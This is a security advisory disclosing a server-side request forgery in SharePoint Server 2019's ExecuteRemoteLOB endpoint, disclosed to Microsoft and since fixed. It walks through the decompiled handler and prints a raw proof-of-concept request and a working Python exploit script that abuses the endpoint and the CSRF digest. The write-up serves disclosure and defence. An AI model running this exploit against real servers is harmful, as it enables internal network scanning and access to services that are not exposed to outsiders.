Overview
Disclaimer: No anime characters or animals were harmed during the research. The bug had been fixed but it did not meet that criterion required to get CVE.
Recently, we have found a Server-Side Request Forgery (SSRF) in Microsoft SharePoint Server 2019 which allows remote authenticated users to send HTTP(S) requests to arbitrary URL and read the responses. The endpoint <site>/_api/web/ExecuteRemoteLOB
is vulnerable to Server-Side Request Forgery (SSRF). The HTTP(S) request is highly customizable in request method, path, headers and bodies. An attacker with the ability to perform SSRF attacks can scan the internal network, check for the existence of services on the host’s local network and potentially exploit other web services.
We have tested this on the following environment:
Windows Server 2022 + SharePoint Server 2019 - 16.0.10386.20011 (with KB5002207, May 2022 update)
Affected Versions
Microsoft SharePoint Server 2019 <= 16.0.10386.20011 (May 2022 update)
Description of the Vulnerability
While examining the class Microsoft.SharePoint.ServerStub.SPWebServerStub
, we found the endpoint <site>/_api/web/ExecuteRemoteLOB
suspicious for having "Remote"
in its name. Further debugging shows that this endpoint is handled by the function, Microsoft.SharePoint.BusinessData.SystemSpecific.OData.ODataHybridHelper.InvokeODataService
(Stream inputStream) in Microsoft.SharePoint.dll
, which acts like an HTTP proxy service. It will take user input to create an HttpWebRequest
object, issue the request then return the response body. The main parts of function InvokeODataService
(Stream inputStream) are as follows:
// [1]
ODataHybridHeaderProcessor.ValidateODataHeaders(headers);
string text;
string text2;
ODataAuthenticationMode odataAuthenticationMode;
string text3;
string text4;
ODataHybridHeaderProcessor.GetODataServiceInfo(headers, out text, out text2, out odataAuthenticationMode, out text3, out text4);
// [2]
HttpWebRequest httpWebRequest = WebRequest.Create(text) as HttpWebRequest;
httpWebRequest.UserAgent = "Microsoft.Sharepoint";
httpWebRequest.Method = text2;
IDictionary<string, string> odataRequestHeaders = ODataHybridHeaderProcessor.GetODataRequestHeaders(headers);
ODataHybridHelper.SetRequestHeaders(httpWebRequest, odataRequestHeaders);
// [3]
if (text2 == "POST" || text2 == "PUT")
{
using (Stream requestStream = httpWebRequest.GetRequestStream())
{
inputStream.CopyTo(requestStream);
}
}
// [4]
ODataHybridHelper.SetRequestAuthentication(httpWebRequest, odataAuthenticationMode, text3, text4, spoCorrelationId);
httpWebResponse = ODataHybridHelper.ExecuteRequest(httpWebRequest, spoLobId, odataAuthenticationMode, spoCorrelationId);
// [5]
ODataHybridHeaderProcessor.SetODataResponseHeaders(httpWebResponse.Headers);
stream = httpWebResponse.GetResponseStream();
result = stream;
return result;
At [1]
, function ValidateODataHeaders
first ensures that headers "BCSOData-Url"
, "BCSOData-AuthenticationMode"
, "BCSOData-HttpMethod"
, "BCSOData-SsoApplicationId"
and "BCSOData-SsoProviderImplementation"
are present in the original request. Then function GetODataServiceInfo
extracts values from these headers into variables, which are used to create the HttpWebRequest
object at [2]
. This object is the SSRF request which the server will send later.
Then, functions GetODataRequestHeaders
and SetRequestHeaders
are called to extract the remaining headers starting with "BCSOData-"
and append them to the SSRF request header list.
At [3]
, the origin request body is copied to the SSRF request if the header "BCSOData-HttpMethod"
is POST
or PUT
.
Finally, the SSRF request is sent at [4]
and its response is returned at [5]
.
Proof of Concept Request
POST /my/_api/web/ExecuteRemoteLOB HTTP/1.1
Host: cr-srv01
Accept: application/json
BCSOData-Url: http://gqa847opq6818tt8qf100fnqrhx8lx.oastify.com/test?aa=11&bb=22
BCSOData-AuthenticationMode: 1
BCSOData-HttpMethod: POST
BCSOData-SsoApplicationId: 0
BCSOData-SsoProviderImplementation: Microsoft.Office.SecureStoreService.Server.SecureStoreProvider, Microsoft.Office.SecureStoreService, Version=14.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c
BCSOData-custom-header1: value1
BCSOData-custom-header2: value2
X-RequestDigest: 0xC356CCFFC1A066D89BD439A721456F80F15384CFF57F82B325282E9A59E0322713F87ACD56CD4C5792AE53A3324697173877A15C20FC92176D0EAB68DC55AB2E,12 May 2022 08:02:33 -0000
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
post body
Attack Conditions & Constraints
An attacker must be an authenticated user and have access to a valid SharePoint site. The default site /my/
should work.
The response body of the SSRF request will only be returned when the status code is 2xx
. Otherwise, ODataHybridException
will be thrown.
The header X-RequestDigest
in the original request is a CSRF token. To obtain the correct value, simply send a request with the wrong value, and the server will return the correct one.
Proof-of-Concept
The following is the POC script which we created for demonstration purposes.
#!/usr/bin/env python3
import argparse
import requests
from requests_ntlm2 import HttpNtlmAuth
def _parse_args():
parser = argparse.ArgumentParser()
parser.add_argument('-u', metavar='DOMAIN\\USERNAME', required=True)
parser.add_argument('-p', metavar='PASSWORD', required=True)
parser.add_argument('-s', metavar='SITE_URL',
help='The user must have access to this site. Usually http://sharepoint.example.com/my/ works',
required=True)
return parser.parse_args()
def exploit(username, password, site_url):
auth = HttpNtlmAuth(username, password)
r = requests.post(f'{site_url}/_api/web/ExecuteRemoteLOB', auth=auth, allow_redirects=False)
if r.status_code != 403:
raise Exception(f'expect status code 403, got {r.status_code}')
headers = {
'BCSOData-Url': 'https://c3g4h31l32lxlp643bewdb0m4da5yu.oastify.com/test', # SSRF url
'BCSOData-AuthenticationMode': '1',
'BCSOData-HttpMethod': 'POST', # request method
'BCSOData-SsoApplicationId': '0',
'BCSOData-SsoProviderImplementation': '0',
'BCSOData-custom-header1': 'value1', # custom headers
'BCSOData-custom-header2': 'value2',
'X-RequestDigest': r.headers['X-RequestDigest'],
}
post_data = 'post body' # request body if the HttpMethod is POST/PUT
r = requests.post(f'{site_url}/_api/web/ExecuteRemoteLOB', auth=auth, allow_redirects=False, headers=headers,
data=post_data)
print(f'payload sent, got response ({len(r.content)} bytes):')
print(r.content)
if __name__ == '__main__':
arg = _parse_args()
exploit(arg.u, arg.p, arg.s)
As shown in the image below, the full HTTP response for the maliciously requested URL will be returned.
Thanks for taking the time to read it!
Disclosure Timeline
- 12th May 2022 : Disclosed to Microsoft
- 15th September 2022 : Response from Microsoft confirming the fix
- 25th October 2022 : Disclosed to public